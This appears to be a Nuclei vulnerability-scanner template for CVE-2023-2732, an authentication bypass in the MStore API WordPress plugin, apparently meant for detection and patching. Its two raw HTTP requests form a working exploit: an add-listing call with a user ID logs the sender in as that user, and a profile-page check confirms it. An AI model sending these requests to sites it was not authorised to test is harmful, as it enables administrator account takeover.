id: CVE-2023-2732 info: name: MStore API <= 3.9.2 - Authentication Bypass author: DhiyaneshDK severity: critical description: | The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.2. This is due to insufficient verification on the user being supplied during the add listing REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id. remediation: | Upgrade to a patched version of MStore API (version 3.9.3 or above) to mitigate the authentication bypass vulnerability. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/f00761a7-fe24-49a3-b3e3-a471e05815c1?source=cve - https://github.com/RandomRobbieBF/CVE-2023-2732 - https://wordpress.org/plugins/mstore-api/ - https://plugins.trac.wordpress.org/browser/mstore-api/tags/3.9.0/controllers/listing-rest-api/class.api.fields.php#L1079 - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2916124%40mstore-api&old=2915729%40mstore-api&sfp_email=&sfph_mail=#file58 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-2732 cwe-id: CWE-288,NVD-CWE-Other epss-score: 0.13198 epss-percentile: 0.94947 cpe: cpe:2.3:a:inspireui:mstore_api:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: inspireui product: mstore_api framework: wordpress tags: cve,cve2023,wordpress,wp,wp-plugin,auth-bypass,mstore-api http: - raw: - | GET /wp-json/wp/v2/add-listing?id=1 HTTP/2 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - | GET /wp-admin/profile.php HTTP/2 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded cookie-reuse: true matchers-condition: and matchers: - type: word part: body_2 words: - 'email-description' - 'Username' condition: and - type: status status: - 200 # digest: 4a0a00473045022100d43e3d78b9e371a7ea44231ae7cabc1d8085195659076218959b7061296aa5aa02206949d228ff83cef92ba071550ae7006b356ac9f85cf5d2c6ff462ad1d3690f29:922c64590222798bb761d5b6d8e72950